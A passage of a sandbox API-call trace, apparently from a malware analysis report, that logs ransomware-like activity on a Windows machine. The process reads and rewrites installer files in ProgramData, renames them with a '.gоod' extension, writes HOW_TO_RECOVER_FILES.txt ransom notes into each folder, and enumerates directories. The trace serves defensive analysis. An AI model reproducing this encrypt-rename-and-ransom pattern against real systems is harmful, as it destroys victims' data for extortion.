cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.gоod")) returned 1 [0105.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0105.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0105.351] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x346a758 | out: lpFileInformation=0x346a758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1 [0105.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0105.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0105.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0105.351] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.352] GetFileType (hFile=0x6e0) returned 0x1 [0105.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0105.352] GetFileType (hFile=0x6e0) returned 0x1 [0105.352] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0105.352] ReadFile (in: hFile=0x6e0, lpBuffer=0x346acf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x346acf0*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0105.719] CloseHandle (hObject=0x6e0) returned 1 [0106.044] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0106.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0106.044] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.044] GetFileType (hFile=0x6e4) returned 0x1 [0106.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0106.044] GetFileType (hFile=0x6e4) returned 0x1 [0106.044] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0106.044] WriteFile (in: hFile=0x6e4, lpBuffer=0x34ed278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34ed278*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0106.045] CloseHandle (hObject=0x6e4) returned 1 [0106.045] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0106.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0106.045] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.045] GetFileType (hFile=0x6e4) returned 0x1 [0106.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0106.045] GetFileType (hFile=0x6e4) returned 0x1 [0106.045] ReadFile (in: hFile=0x6e4, lpBuffer=0x34ef5e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x34ef5e8*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0106.073] CloseHandle (hObject=0x6e4) returned 1 [0106.073] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0106.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0106.073] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.074] GetFileType (hFile=0x6e4) returned 0x1 [0106.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0106.074] GetFileType (hFile=0x6e4) returned 0x1 [0106.074] WriteFile (in: hFile=0x6e4, lpBuffer=0x34ee290*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x34ee290*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0106.074] CloseHandle (hObject=0x6e4) returned 1 [0106.074] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8c [0106.074] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", lpFilePart=0x0) returned 0x91 [0106.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0106.074] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x3b6f290f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0106.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0106.074] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.gоod")) returned 1 [0106.075] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0106.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0106.075] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0106.077] GetFileType (hFile=0x6e4) returned 0x1 [0106.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0106.077] GetFileType (hFile=0x6e4) returned 0x1 [0106.078] WriteFile (in: hFile=0x6e4, lpBuffer=0x356e188*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x356e188*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0106.079] CloseHandle (hObject=0x6e4) returned 1 [0106.079] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0106.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0106.079] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.529] GetFileType (hFile=0x20c) returned 0x1 [0106.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0106.529] GetFileType (hFile=0x20c) returned 0x1 [0106.529] WriteFile (in: hFile=0x20c, lpBuffer=0x3736710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3736710*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0106.530] CloseHandle (hObject=0x20c) returned 1 [0106.531] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0106.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0106.531] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.531] GetFileType (hFile=0x20c) returned 0x1 [0106.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0106.531] GetFileType (hFile=0x20c) returned 0x1 [0106.532] WriteFile (in: hFile=0x20c, lpBuffer=0x3739ff8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3739ff8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0106.533] CloseHandle (hObject=0x20c) returned 1 [0106.554] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0106.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0106.554] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0106.555] GetFileType (hFile=0x7dc) returned 0x1 [0106.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0106.555] GetFileType (hFile=0x7dc) returned 0x1 [0106.556] WriteFile (in: hFile=0x7dc, lpBuffer=0x33cd170*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x33cd170*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0106.557] CloseHandle (hObject=0x7dc) returned 1 [0106.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0106.557] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\regid.1991-06.com.microsoft", lpFilePart=0x0) returned 0x2a [0106.557] FindFirstFileW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.559] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.560] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0106.560] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0106.560] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0106.560] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0106.560] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.560] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0106.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0106.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0106.561] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\regid.1991-06.com.microsoft", lpFilePart=0x0) returned 0x2a [0106.561] FindFirstFileW (in: lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.562] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.562] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0106.562] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0106.562] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0106.563] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0106.563] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, 